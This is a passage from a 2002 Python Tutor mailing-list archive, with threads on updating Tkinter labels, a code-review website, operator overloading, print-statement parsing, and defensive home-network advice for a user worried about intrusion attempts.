>   File "/usr/local/lib/python2.2/email/Generator.py", line 240, in _handle_multipart
>     for part in msg.get_payload():
>   File "/usr/local/lib/python2.2/email/Message.py", line 151, in __getitem__
>     return self.get(name)
>   File "/usr/local/lib/python2.2/email/Message.py", line 214, in get
>     name = name.lower()
> AttributeError: 'int' object has no attribute 'lower'
> </error>
> 
> Is this a bug ? 

I believe so. See these threads, from comp.lang.python and the tutor
archive:

http://groups.google.com/groups?hl=en&selm=a448mo.3vsj90f.1%40kserver.org

http://mail.python.org/pipermail/tutor/2002-February/012423.html

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_



From wilson@isis.visi.com  Wed Feb 27 05:21:07 2002
From: wilson@isis.visi.com (Tim Wilson)
Date: Tue, 26 Feb 2002 23:21:07 -0600 (CST)
Subject: [Tutor] Updating Label widgets in Tkinter
Message-ID: <Pine.GSO.4.10.10202262314560.21107-100000@isis.visi.com>

Hi everyone,

I'm hoping there's a Tkinter expert or two out there who can offer some
help with the following:

I'm working through a number of the Tkinter tutorials and John Grayson's
book "Python and Tkinter Programming," but I continue to be stymied by
the problem of updating the text of a label widget based on some
calculation that's bound to a button. I'm including some code that draws
a very simple screen that presents an entry widget. The user is supposed
to enter a number, click calculate, and be presented with the square
root of the number they typed. I've tried a bunch of things at this
point, but everything's starting to blur. Can anyone point me in the
right direction?

Here's the code. Thanks.

from Tkinter import *
from math import sqrt

class Calculator(Frame):
    def __init__(self):
        """Create an instance of a very simple calculator."""
        Frame.__init__(self)
        self.pack(expand=YES, fill=BOTH)
        self.master.title('Square Root Calculator')
        self.master.iconname('Sqrt')
        
        fInput = Frame(self)
        fInput.pack()
        Label(fInput, text='x = ').pack(side=LEFT)
        number = StringVar()
        Entry(fInput, textvariable=number).pack(side=LEFT)
        
        fOutput = Frame(self)
        fOutput.pack()
        fOutput.pack(padx=5, pady=5)
        result = Label(fOutput, 
                       text='Waiting for a number...').pack(pady=10)

        buttons = Frame(self)
        buttons.pack(padx=5, pady=5)
        Button(buttons, text='Calculate', 
               command=self.calc(number)).pack(side=LEFT, padx=3)
        Button(buttons, text='Quit', 
               command=self.quit).pack(side=LEFT, padx=3)

    def calc(self, number):
        """Update the label named 'result' to say 'The square root of 
        <insert original number> is <square root of that number>' 
        and then clear the contents of the entry box."""
                
Calculator().mainloop()

--
Tim Wilson      |   Visit Sibley online:   | Check out:
Henry Sibley HS |  http://www.isd197.org   | http://www.zope.com
W. St. Paul, MN |                          | http://slashdot.org
wilson@visi.com |  <dtml-var pithy_quote>  | http://linux.com



From dyoo@hkn.eecs.berkeley.edu  Wed Feb 27 06:50:46 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue, 26 Feb 2002 22:50:46 -0800 (PST)
Subject: [Tutor] Website for Code Review
In-Reply-To: <Pine.LNX.4.21.0202260105010.14693-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.21.0202262249420.13333-100000@hkn.eecs.berkeley.edu>

On Tue, 26 Feb 2002, Danny Yoo wrote:

> On Tue, 26 Feb 2002, Nicole Seitz wrote:
> 
> > At 01:00 26.02.2002 -0700, you wrote:
> > >On the main list/newsgroup there was an inquiry from Ben Jacobs about
> > >the existence of a web site where people could post Python code to be
> > >reviewed by other programmers.  I replied privately to tell him about
> > >the Tutor list since that kind of thing does happen here sometimes, but
> > >I think having a dedicated web site for code review would be a great
> > >companion to Tutor.  Is anybody willing to take this on?
> > 
> 
> Ok, let's do this.
> 
>     http://ns.decrem.com:8080/ChalkBoard
> 
> I think we'll have this as a temporary measure while we figure out what we
> really want to do.  But at least we can use this so that people can
> quickly post up code for others to look at.


I think I spoke too soon; this is down at the moment while I'm debugging
things.  Sorry!



From dyoo@hkn.eecs.berkeley.edu  Wed Feb 27 07:50:31 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue, 26 Feb 2002 23:50:31 -0800 (PST)
Subject: [Tutor] Website for Code Review   [Python ChalkBoard]
In-Reply-To: <Pine.LNX.4.21.0202262249420.13333-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.21.0202262343530.14295-100000@hkn.eecs.berkeley.edu>

On Tue, 26 Feb 2002, Danny Yoo wrote:

> > > >On the main list/newsgroup there was an inquiry from Ben Jacobs about
> > > >the existence of a web site where people could post Python code to be
> > > >reviewed by other programmers.  I replied privately to tell him about
> > > >the Tutor list since that kind of thing does happen here sometimes, but
> > > >I think having a dedicated web site for code review would be a great
> > > >companion to Tutor.  Is anybody willing to take this on?

Ok, I did a little more tinkering on the ChalkBoard, ripped out all the
inappropriate Slashdottish stuff, and tried streamlining the page.  Does
anyone want to try it out?

    http://www.decrem.com:8080/ChalkBoard

To post, just click on the "post question or article" link.


Hope this helps!



From sheila@thinkspot.net  Wed Feb 27 08:06:34 2002
From: sheila@thinkspot.net (Sheila King)
Date: Wed, 27 Feb 2002 00:06:34 -0800
Subject: [Tutor] Website for Code Review   [Python ChalkBoard]
In-Reply-To: <Pine.LNX.4.21.0202262343530.14295-100000@hkn.eecs.berkeley.edu>
References: <Pine.LNX.4.21.0202262249420.13333-100000@hkn.eecs.berkeley.edu> <Pine.LNX.4.21.0202262343530.14295-100000@hkn.eecs.berkeley.edu>
Message-ID: <4B0751750A@kserver.org>

On Tue, 26 Feb 2002 23:50:31 -0800 (PST), Danny Yoo
<dyoo@hkn.eecs.berkeley.edu>  wrote about Re: [Tutor] Website for Code
Review   [Python ChalkBoard]:

> Ok, I did a little more tinkering on the ChalkBoard, ripped out all the
> inappropriate Slashdottish stuff, and tried streamlining the page.  Does
> anyone want to try it out?
> 
>     http://www.decrem.com:8080/ChalkBoard
> 
> To post, just click on the "post question or article" link.

It's asking me for authorization when I try to post an article.

Who am I? What is my password?

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_



From dyoo@hkn.eecs.berkeley.edu  Wed Feb 27 08:21:30 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed, 27 Feb 2002 00:21:30 -0800 (PST)
Subject: [Tutor] Website for Code Review   [Python ChalkBoard]
In-Reply-To: <4B0751750A@kserver.org>
Message-ID: <Pine.LNX.4.21.0202270021080.14800-100000@hkn.eecs.berkeley.edu>

On Wed, 27 Feb 2002, Sheila King wrote:

> On Tue, 26 Feb 2002 23:50:31 -0800 (PST), Danny Yoo
> <dyoo@hkn.eecs.berkeley.edu>  wrote about Re: [Tutor] Website for Code
> Review   [Python ChalkBoard]:
> 
> > Ok, I did a little more tinkering on the ChalkBoard, ripped out all the
> > inappropriate Slashdottish stuff, and tried streamlining the page.  Does
> > anyone want to try it out?
> > 
> >     http://www.decrem.com:8080/ChalkBoard
> > 
> > To post, just click on the "post question or article" link.
> 
> It's asking me for authorization when I try to post an article.

Can you try again?  I forgot to allow anonymous posting.  Doh!  *grin*



From pydan@danshafer.com  Wed Feb 27 08:42:54 2002
From: pydan@danshafer.com (Dan Shafer)
Date: Wed, 27 Feb 2002 00:42:54 -0800
Subject: [Tutor] Operator Overloading Importance
In-Reply-To: <E16fvUe-0001mi-00@mail.python.org>
References: <E16fvUe-0001mi-00@mail.python.org>
Message-ID: <a05101400b8a24c250b91@[63.205.23.218]>

How important is it to understand how to do operator overloading in 
your early Python experience? I've written code -- though not 
horribly complex stuff for the most part -- in a number of languages 
which allowed operator overloading and never used it.

Yet "Learning Python" makes a pretty big issue out of it in the 
chapter on objects, making it seem even more important than a good 
understanding of how objects are created and managed (which makes me 
suspicious to begin with).

So should I take the time to learn this now or can it wait? Or is it 
ever really useful?

-- 
Dan Shafer, Personal Creativity Trainer and Consultant
Trained Hartman Value Profile Analyst
http://www.danshafer.com/valueprofile.html


From scarblac@pino.selwerd.nl  Wed Feb 27 08:55:05 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Wed, 27 Feb 2002 09:55:05 +0100
Subject: [Tutor] Operator Overloading Importance
In-Reply-To: <a05101400b8a24c250b91@[63.205.23.218]>; from pydan@danshafer.com on Wed, Feb 27, 2002 at 12:42:54AM -0800
References: <E16fvUe-0001mi-00@mail.python.org> <a05101400b8a24c250b91@[63.205.23.218]>
Message-ID: <20020227095505.A30620@pino.selwerd.nl>

On  0, Dan Shafer <pydan@danshafer.com> wrote:
> How important is it to understand how to do operator overloading in 
> your early Python experience? I've written code -- though not 
> horribly complex stuff for the most part -- in a number of languages 
> which allowed operator overloading and never used it.

I don't think it's very important. I've never used it yet.

> Yet "Learning Python" makes a pretty big issue out of it in the 
> chapter on objects, making it seem even more important than a good 
> understanding of how objects are created and managed (which makes me 
> suspicious to begin with).
> 
> So should I take the time to learn this now or can it wait? Or is it 
> ever really useful?

If you have objects on which these operations are natural, data that you
will want to add routinely, etc, then I guess it's useful. It's useful to
know that it is possible.

But if you don't think you'll need it, you can skip it without trouble.

Also, some other special methods like __str__() are often useful.


-- 
Remco Gerlich


From scarblac@pino.selwerd.nl  Wed Feb 27 09:06:59 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Wed, 27 Feb 2002 10:06:59 +0100
Subject: [Tutor] Operator Overloading Importance
In-Reply-To: <20020227095505.A30620@pino.selwerd.nl>; from scarblac@pino.selwerd.nl on Wed, Feb 27, 2002 at 09:55:05AM +0100
References: <E16fvUe-0001mi-00@mail.python.org> <a05101400b8a24c250b91@[63.205.23.218]> <20020227095505.A30620@pino.selwerd.nl>
Message-ID: <20020227100659.A30678@pino.selwerd.nl>

On  0, Remco Gerlich <scarblac@pino.selwerd.nl> wrote:
> I don't think it's very important. I've never used it yet.

(snip)

> If you have objects on which these operations are natural, data that you
> will want to add routinely, etc, then I guess it's useful. It's useful to
> know that it is possible.

That said, I just decided that the code I was currently staring at, that
combines two representation instances into a new one (complicated vectors of
word count statistics from a text) would be a lot neater if I called the
method __add__ so I could just write r = r1+r2 :-)

-- 
Remco Gerlich


From scot@possum.in-berlin.de  Wed Feb 27 09:23:40 2002
From: scot@possum.in-berlin.de (Scot Stevenson)
Date: Wed, 27 Feb 2002 10:23:40 +0100
Subject: [Tutor] Problems with genetically engineering the Print Ogre
In-Reply-To: <132109865093-BeMail@gormenghast>
References: <132109865093-BeMail@gormenghast>
Message-ID: <200202270930.g1R9UKS27462@possum.cozen.org>

Hello there, 

I have been learning Python for about half a year now, and there are two 
parts of the language that feel "wrong" and do not have the instant, 
instantly logical syntax that makes the rest of the language unbelievably 
elegant: 

a) List comprehensions (aka "Ugly Stuff in Square Brackets")
b) The extrended print statement (aka "The Print Ogre")

Neither "[<exp> for <var> in <seq> if <con>]" nor "print >> <file>, 
<stuff>" are intuitive in the way that "if <con>:" or "for <var> in 
<seq>:" are. They are, in fact, terribly confusing if Python is your first 
language. Both create ugly spots of strange characters in code listings, 
and I think both should be dragged outside and shot, or at least 
genetically engineered to something that doesn't look like it has a "Made 
by Frankenstein" stamp on the bottom. My first reaction to list 
comprehensions was: How the hell did /that/ get past the beauty checker?

However, to finally get to the point of this mail, some of the saner ideas 
in the PEP to the Print Ogre were vetoed by the BDFL himself. From PEP 214:

=====================================================

    The proposal has been challenged on the newsgroup.  One series of
    challenges doesn't like '>>' and would rather see some other
    symbol.

    Challenge: Why not one of these?

        print in stderr items,.... 
        print + stderr items,.......
        print[stderr] items,.....
        print to stderr items,.....

    Response: If we want to use a special symbol (print <symbol>
    expression), the Python parser requires that it is not already a
    symbol that can start an expression -- otherwise it can't decide
    which form of print statement is used.  (The Python parser is a
    simple LL(1) or recursive descent parser.)

  =======================================================

This might be perfectly clear to Real Computer Scientists, but as one of 
those people who is slightly more fluent in Mandarin than Recursive 
Descent Parsing, I don't see why we can't at least change the Print Ogre 
into something clean and instantly understandable like "print to <file>, 
<stuff>", which would be the sort of syntax I would expect (actually, 
"print <stuff> to <file>" would be even better, but sticking stuff at the 
end would make this look like a German verb pattern; "print to <file>: 
<stuff>" would be good, too, but break the rule about indentation after 
":", which I understand). 

Is there any chance one of the other Real Computer Scientists on this list 
could explain what the problem is? 

Y, Scot


From scarblac@pino.selwerd.nl  Wed Feb 27 09:44:33 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Wed, 27 Feb 2002 10:44:33 +0100
Subject: [Tutor] Problems with genetically engineering the Print Ogre
In-Reply-To: <200202270930.g1R9UKS27462@possum.cozen.org>; from scot@possum.in-berlin.de on Wed, Feb 27, 2002 at 10:23:40AM +0100
References: <132109865093-BeMail@gormenghast> <200202270930.g1R9UKS27462@possum.cozen.org>
Message-ID: <20020227104433.A30838@pino.selwerd.nl>

On  0, Scot Stevenson <scot@possum.in-berlin.de> wrote:
> Hello there, 
> 
> I have been learning Python for about half a year now, and there are two 
> parts of the language that feel "wrong" and do not have the instant, 
> instantly logical syntax that makes the rest of the language unbelievably 
> elegant: 
> 
> a) List comprehensions (aka "Ugly Stuff in Square Brackets")
> b) The extrended print statement (aka "The Print Ogre")
> 
> Neither "[<exp> for <var> in <seq> if <con>]" nor "print >> <file>, 
> <stuff>" are intuitive in the way that "if <con>:" or "for <var> in 
> <seq>:" are. They are, in fact, terribly confusing if Python is your first 
> language. Both create ugly spots of strange characters in code listings, 
> and I think both should be dragged outside and shot, or at least 
> genetically engineered to something that doesn't look like it has a "Made 
> by Frankenstein" stamp on the bottom. My first reaction to list 
> comprehensions was: How the hell did /that/ get past the beauty checker?

Personally I think list comprehensions are beautiful. It helps if you are
used to similar notation in math.

> 
> However, to finally get to the point of this mail, some of the saner ideas 
> in the PEP to the Print Ogre were vetoed by the BDFL himself. From PEP 214:
> 
> =====================================================
> 
>     The proposal has been challenged on the newsgroup.  One series of
>     challenges doesn't like '>>' and would rather see some other
>     symbol.
> 
>     Challenge: Why not one of these?
> 
>         print in stderr items,.... 
>         print + stderr items,.......
>         print[stderr] items,.....
>         print to stderr items,.....
> 
>     Response: If we want to use a special symbol (print <symbol>
>     expression), the Python parser requires that it is not already a
>     symbol that can start an expression -- otherwise it can't decide
>     which form of print statement is used.  (The Python parser is a
>     simple LL(1) or recursive descent parser.)
> 
>   =======================================================
> 
> This might be perfectly clear to Real Computer Scientists, but as one of 
> those people who is slightly more fluent in Mandarin than Recursive 
> Descent Parsing, I don't see why we can't at least change the Print Ogre 
> into something clean and instantly understandable like "print to <file>, 
> <stuff>", which would be the sort of syntax I would expect (actually, 
> "print <stuff> to <file>" would be even better, but sticking stuff at the 
> end would make this look like a German verb pattern; "print to <file>: 
> <stuff>" would be good, too, but break the rule about indentation after 
> ":", which I understand). 
> 
> Is there any chance one of the other Real Computer Scientists on this list 
> could explain what the problem is? 

The problem is that 'to' could also be the name of a variable.

Now a human could see the difference between, for instance:

print to, from
print to f: "Whee!"

And know that 'to' in the first is a variable, and part of the print in the
second.

But parsers receive tokens. It gets things like "print", "to", ",", "from"
as its input.

A LL(1) parser has a lookahead of 1. It gets to see the next token, and
using that it has to decide what it is parsing. These parsers are
conceptually very simple and quite fast, but of course a bit limited.

So after the "print", the parser sees "to" as the next word. It has to
decide whether that is a variable (actually, the start of an expression) or
part of the print statement, and it can't.

Something like "print + file, x" also doesn't work, since +file is perfectly
normal if file is some variable -- + can start an expression.

But in Python, no expression can start with >>, so it could be used.

This is slightly simplistic, but should be enough.
-- 
Remco Gerlich


From wolf_binary@hotmail.com  Wed Feb 27 14:37:30 2002
From: wolf_binary@hotmail.com (Cameron Stoner)
Date: Wed, 27 Feb 2002 08:37:30 -0600
Subject: [Tutor] IP numbers
Message-ID: <DAV27LTkUD5euwdUTaG000100cf@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01C1BF69.FE5D8E60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

The reason I wanted to change my IP number was because I have this =
problem with a cracker trying to get into my system and he knows my IP =
address and I thought if I changed it he wouldn't know where I was =
anymore, but that's just my newbie thinking.

I have Norton Internet Security which has stopped him so far, but I =
wanted to go a step further and not allow him to find me.  I don't know =
why this person is comming after me.

Cameron


------=_NextPart_000_000B_01C1BF69.FE5D8E60
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2713.1100" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>The reason I wanted to change my IP =
number was=20
because I have this problem with a cracker trying to get into my system =
and he=20
knows my IP address and I thought if I changed it he wouldn't know where =
I was=20
anymore, but that's just my newbie thinking.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have Norton Internet Security which =
has stopped=20
him so far, but I wanted to go a step further and not allow him to find=20
me.&nbsp; I don't know why this person is comming after me.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Cameron</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_000B_01C1BF69.FE5D8E60--


From scarblac@pino.selwerd.nl  Wed Feb 27 15:00:55 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Wed, 27 Feb 2002 16:00:55 +0100
Subject: [Tutor] IP numbers
In-Reply-To: <DAV27LTkUD5euwdUTaG000100cf@hotmail.com>; from wolf_binary@hotmail.com on Wed, Feb 27, 2002 at 08:37:30AM -0600
References: <DAV27LTkUD5euwdUTaG000100cf@hotmail.com>
Message-ID: <20020227160055.A32217@pino.selwerd.nl>

On  0, Cameron Stoner <wolf_binary@hotmail.com> wrote:
> The reason I wanted to change my IP number was because I have this problem
> with a cracker trying to get into my system and he knows my IP address and I
> thought if I changed it he wouldn't know where I was anymore, but that's
> just my newbie thinking.

That's reasonable thinking. The problem is that in most cases, the rest of
the Internet (like your ISP's computers) also won't be able to find you
anymore, and you won't be able to receive anything :)

> I have Norton Internet Security which has stopped him so far, but I wanted
> to go a step further and not allow him to find me.  I don't know why this
> person is comming after me.

How do you know it's a cracker and not something innocent? Secondly, if you
know his IP, you should be able to find out who his ISP is and send a
complaint there.

This isn't a Python subject so this discussion shouldn't continue here for
too long.

-- 
Remco Gerlich


From pythontutor@venix.com  Wed Feb 27 15:55:11 2002
From: pythontutor@venix.com (Lloyd Kvam)
Date: Wed, 27 Feb 2002 10:55:11 -0500
Subject: [Tutor] IP numbers
References: <DAV27LTkUD5euwdUTaG000100cf@hotmail.com> <20020227160055.A32217@pino.selwerd.nl>
Message-ID: <3C7D015F.5050900@venix.com>

http://www.dns411.com/
Web-based WHOIS + NSLOOKUP by Name.Space

This site will let you look up an IP address and determine the ISP
responsible for that address.  The name of the IP address block will
be a link to the ISP identification information which will provide
email addresses for abuse complaints.

Since you've said nothing about system administration folks, I assume
you are getting your IP address fromm an ISP.  Your ISP should be willing
to help with this!  That's part of providing Internet Service!
(It looks like you are sending your email from a Sprint dialup IP address.
This is the listed phone number and email contact:
    Coordinator:
       Sprintlink (Sprint)  (SPRINT-NOC-ARIN)  NOC@SPRINT.NET
800-232-6895)


Remco Gerlich wrote:

> On  0, Cameron Stoner <wolf_binary@hotmail.com> wrote:
> 
>>The reason I wanted to change my IP number was because I have this problem
>>with a cracker trying to get into my system and he knows my IP address and I
>>thought if I changed it he wouldn't know where I was anymore, but that's
>>just my newbie thinking.
>>
> 
> That's reasonable thinking. The problem is that in most cases, the rest of
> the Internet (like your ISP's computers) also won't be able to find you
> anymore, and you won't be able to receive anything :)
> 
> 
>>I have Norton Internet Security which has stopped him so far, but I wanted
>>to go a step further and not allow him to find me.  I don't know why this
>>person is comming after me.
>>
> 
> How do you know it's a cracker and not something innocent? Secondly, if you
> know his IP, you should be able to find out who his ISP is and send a
> complaint there.
> 
> This isn't a Python subject so this discussion shouldn't continue here for
> too long.
> 
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice: 
603-443-6155
fax: 
801-459-9582



From dsh8290@rit.edu  Wed Feb 27 16:38:12 2002
From: dsh8290@rit.edu (dman)
Date: Wed, 27 Feb 2002 11:38:12 -0500
Subject: [Tutor] IP numbers
In-Reply-To: <DAV27LTkUD5euwdUTaG000100cf@hotmail.com>
References: <DAV27LTkUD5euwdUTaG000100cf@hotmail.com>
Message-ID: <20020227163812.GA30746@dman.ddts.net>

On Wed, Feb 27, 2002 at 08:37:30AM -0600, Cameron Stoner wrote:
| The reason I wanted to change my IP number was because I have this
| problem with a cracker trying to get into my system and he knows my
| IP address and I thought if I changed it he wouldn't know where I
| was anymore, but that's just my newbie thinking.

In what ways is he trying to get into your system and how do you know
this?  Do you have any "services" running on your machine?  If nothing
is listening on any ports, then there is no way to get in.  (or if
something is blocking all ports at the TCP/UDP or IP level)
 
| I have Norton Internet Security which has stopped him so far, but I
| wanted to go a step further and not allow him to find me. 

Get a Linux or *BSD system to act as a firewall.  Then the only stuff
that can get to your windows machine is responses to requests that
originated from the windows machine.

| I don't know why this person is comming after me.

Most likely because he can.  Some people are un-nice like that.

-D

-- 

For society, it's probably a good thing that engineers value function
over appearance.  For example, you wouldn't want engineers to build
nuclear power plants that only _look_ like they would keep all the
radiation inside.
    (Scott Adams - The Dilbert principle)



From Blake.Garretson@dana.com  Wed Feb 27 17:28:08 2002
From: Blake.Garretson@dana.com (Blake.Garretson@dana.com)
Date: Wed, 27 Feb 2002 12:28:08 -0500
Subject: [Tutor] Updating Label widgets in Tkinter
Message-ID: <OF29F36273.C56523AB-ON85256B6D.005F0427@dana.com>

>From: Tim Wilson <wilson@isis.visi.com>
>Subject: [Tutor] Updating Label widgets in Tkinter
>
>I'm working through a number of the Tkinter tutorials and John Grayson's
>book "Python and Tkinter Programming," but I continue to be stymied by
>the problem of updating the text of a label widget based on some
>calculation that's bound to a button. I'm including some code that draws
>a very simple screen that presents an entry widget. The user is supposed
>to enter a number, click calculate, and be presented with the square
>root of the number they typed. I've tried a bunch of things at this
>point, but everything's starting to blur. Can anyone point me in the
>right direction?

You are almost there.  Instead of assigning the text using the "text"
parameter, use the textvariable parameter and create another StringVar().
See the commented code below for the corrections.  The other thing I
changed is how you were calling self.calc.  The callbacks provided with
widgets don't let you pass variables to the functions as easily as a normal
function call.  You have to either use lambdas, or you can make the
variables accesible everywhere in the class by naming them self.whatever.

-Blake Garretson

###
from Tkinter import *
from math import sqrt

class Calculator(Frame):
    def __init__(self):
        """Create an instance of a very simple calculator."""
        Frame.__init__(self)
        self.pack(expand=YES, fill=BOTH)
        self.master.title('Square Root Calculator')
        self.master.iconname('Sqrt')

        fInput = Frame(self)
        fInput.pack()
        Label(fInput, text='x = ').pack(side=LEFT)
        self.number = StringVar()        # Here I made the variable more
accesible
        Entry(fInput, textvariable=self.number).pack(side=LEFT)

        fOutput = Frame(self)
        fOutput.pack()
        fOutput.pack(padx=5, pady=5)
        self.result_var = StringVar()   # This is where I create the
StringVar that will define the text
        self.result_var.set('Waiting for a number...')
        result = Label(fOutput,
                       textvariable=self.result_var).pack(pady=10)

        buttons = Frame(self)
        buttons.pack(padx=5, pady=5)
        Button(buttons, text='Calculate',
               command=self.calc).pack(side=LEFT, padx=3)  # Note the
change in the callback
        Button(buttons, text='Quit',
               command=self.quit).pack(side=LEFT, padx=3)

    def calc(self):
        self.result_var.set("The square root of %s is %s" %
(self.number.get(),sqrt(float(self.number.get()))) )

Calculator().mainloop()






From urnerk@qwest.net  Wed Feb 27 17:32:25 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 27 Feb 2002 09:32:25 -0800
Subject: [Tutor] IP numbers
In-Reply-To: <DAV27LTkUD5euwdUTaG000100cf@hotmail.com>
Message-ID: <4.2.0.58.20020227092719.00d04c10@pop3.norton.antivirus>

>
>I have Norton Internet Security which has stopped him so far, but I wanted 
>to go
>a step further and not allow him to find me.  I don't know why this person 
>is comming
>after me.
>
>Cameron
>

Note:

I don't know if this is your situation, but some people
who get a firewall for the first time (either hardware,
or more likely a software product, like ZoneAlarm or
a Norton thing), and have it log port scans (attempts
to find security holes), are alarmed by the number of
such attempts.  This is especially true if you computer
is "always on" (the Internet that is, e.g. when you have
DSL or a cable modem).

What you will find is that cyberspace if full of this
background noise of port scanning.  People are running
these bots to look for holes.  There aren't necessarily
people actively paying much attention -- they look over
the results later.

So if what you're seeing are just random reports of
being scanned, even by the same IP-domain each time,
don't think you have to run off and change your IP
number.  It'll happen with the new number too, as a
lot of the scanning bots just check huge ranges of
possible numbers.

And don't take it too personally.  Think of mosquitos
in the forest, trying to find some blood to suck.
Carry repellant, zip up your tent, but if you want
to be in the forest at all, you're going to have to
put up with pests.

Kirby




From SWidney@ci.las-vegas.nv.us  Wed Feb 27 17:36:41 2002
From: SWidney@ci.las-vegas.nv.us (Scott Widney)
Date: Wed, 27 Feb 2002 09:36:41 -0800
Subject: [Tutor] IP numbers
Message-ID: <D4EB5574F4A7D2119C9E00A0C9EA408D059F59B9@SOVEREIGN>

> From: dman 
> If you pick the first one (you probably have), then try running
> 'winipcfg' and releasing, then renewing, the lease.  (that only works
> with the 95/98/me family, don't know where it is in 2k)

On NT4/2000, it's 'ipconfig /release' and 'ipconfig /renew'


From SWidney@ci.las-vegas.nv.us  Wed Feb 27 17:54:01 2002
From: SWidney@ci.las-vegas.nv.us (Scott Widney)
Date: Wed, 27 Feb 2002 09:54:01 -0800
Subject: [Tutor] IP numbers
Message-ID: <D4EB5574F4A7D2119C9E00A0C9EA408D059F59BA@SOVEREIGN>

> From: Kirby Urner
> I don't know if this is your situation, but some people
> who get a firewall for the first time (either hardware,
> or more likely a software product, like ZoneAlarm or
> a Norton thing), and have it log port scans (attempts
> to find security holes), are alarmed by the number of
> such attempts.  This is especially true if you computer
> is "always on" (the Internet that is, e.g. when you have
> DSL or a cable modem).
> 
> What you will find is that cyberspace if full of this
> background noise of port scanning.  People are running
> these bots to look for holes.  There aren't necessarily
> people actively paying much attention -- they look over
> the results later.
> 
> So if what you're seeing are just random reports of
> being scanned, even by the same IP-domain each time,
> don't think you have to run off and change your IP
> number.  It'll happen with the new number too, as a
> lot of the scanning bots just check huge ranges of
> possible numbers.
> 
> And don't take it too personally.  Think of mosquitos
> in the forest, trying to find some blood to suck.
> Carry repellant, zip up your tent, but if you want
> to be in the forest at all, you're going to have to
> put up with pests.
> 
> Kirby

My wife has her home PC on all day (on a cable modem) and Zone Alarm logs
probably 200 port scans a day -- many from within the same subnet. Like
Kirby said treat it as a fact of life. Take suitable precautions, but don't
be paranoid. That's the kind of world we live in.

> From: dman
> Get a Linux or *BSD system to act as a firewall.  Then the only stuff
> that can get to your windows machine is responses to requests that
> originated from the windows machine.

Another alternative is a self-contained router. I've seen a 4-port from
LinkSys that has a firewall for a couple-hundred dollars. Has a nice
browser-based interface, etc.

Scott


From kojo@hal-pc.org  Wed Feb 27 20:19:38 2002
From: kojo@hal-pc.org (Kojo Idrissa)
Date: Wed, 27 Feb 2002 14:19:38 -0600
Subject: [Tutor] IP numbers and Python
In-Reply-To: <D4EB5574F4A7D2119C9E00A0C9EA408D059F59BA@SOVEREIGN>
Message-ID: <web-4860938@mail.hal-pc.org>

On Wed, 27 Feb 2002 09:54:01 -0800
>Another alternative is a self-contained router. I've seen 
>a 4-port from
>LinkSys that has a firewall for a couple-hundred dollars. 
>Has a nice
>browser-based interface, etc.

I saw one of these at my local MicroCenter.  $99 for a 
four port-er.  I'm in the process of building a home 
network and I considered getting one to share my DSL with 
the network.  

Now, (to bring this back on topic) what would be 
interesting would be a Python script that parsed your 
firewall log files for the IPs (and/or any other info you 
wanted), then used the DNS lookup site Llyod (I think) 
mentioned to get some idea of where the scans are coming 
from.  You could even get fancy and have it create a graph 
of some sort...percentage of scans/attacks from various 
addresses or address block owners or ISPs.  You could even 
keep track of the information over time, to see what 
trends develop.  I'm pretty sure all the functionality for 
this exists in various Python modules.  

Hmmm...I just might try that myself once I get my home 
network up and running.  Sounds like a good project for 
someone wanting to get into Networking.  (That would be 
me...)

Don't you love it when a seemingly off-topic post gives 
birth to new ideas?
:-)


From porterh@yahoo.com  Wed Feb 27 23:10:06 2002
From: porterh@yahoo.com (Henry Porter)
Date: Wed, 27 Feb 2002 17:10:06 -0600 (CST)
Subject: [Tutor] gui questions
Message-ID: <Pine.LNX.4.21.0202271702400.16203-100000@localhost.localdomain>

I'm just starting to learn python and I have an idea for a program I'd
like to write.  I want to use some sort of gui.  Would it be better for me
to start out using curses or tkinter?  I'd like to learn both eventually,
so I'm just wondering which would be easier to use.  Would wxpython be a
choice also, or is it very much harder?

Also, should I start writing my program for the gui from the start or
write the basic functionality and a simpler interface then add the gui
part later?

Thanks for any tips,
Henry



From scot@possum.in-berlin.de  Wed Feb 27 22:25:32 2002
From: scot@possum.in-berlin.de (Scot Stevenson)
Date: Wed, 27 Feb 2002 23:25:32 +0100
Subject: [Tutor] Problems with genetically engineering the Print Ogre
In-Reply-To: <20020227104433.A30838@pino.selwerd.nl>
References: <132109865093-BeMail@gormenghast> <200202270930.g1R9UKS27462@possum.cozen.org> <20020227104433.A30838@pino.selwerd.nl>
Message-ID: <200202272232.g1RMWCS29210@possum.cozen.org>

Hello Remco, 

> Personally I think list comprehensions are beautiful. It helps if you
> are used to similar notation in math.

I sure it does - but that does somewhat confirm my suspicion that this is 
a construct added for a very specialized group of users =8). 

> So after the "print", the parser sees "to" as the next word. It has to
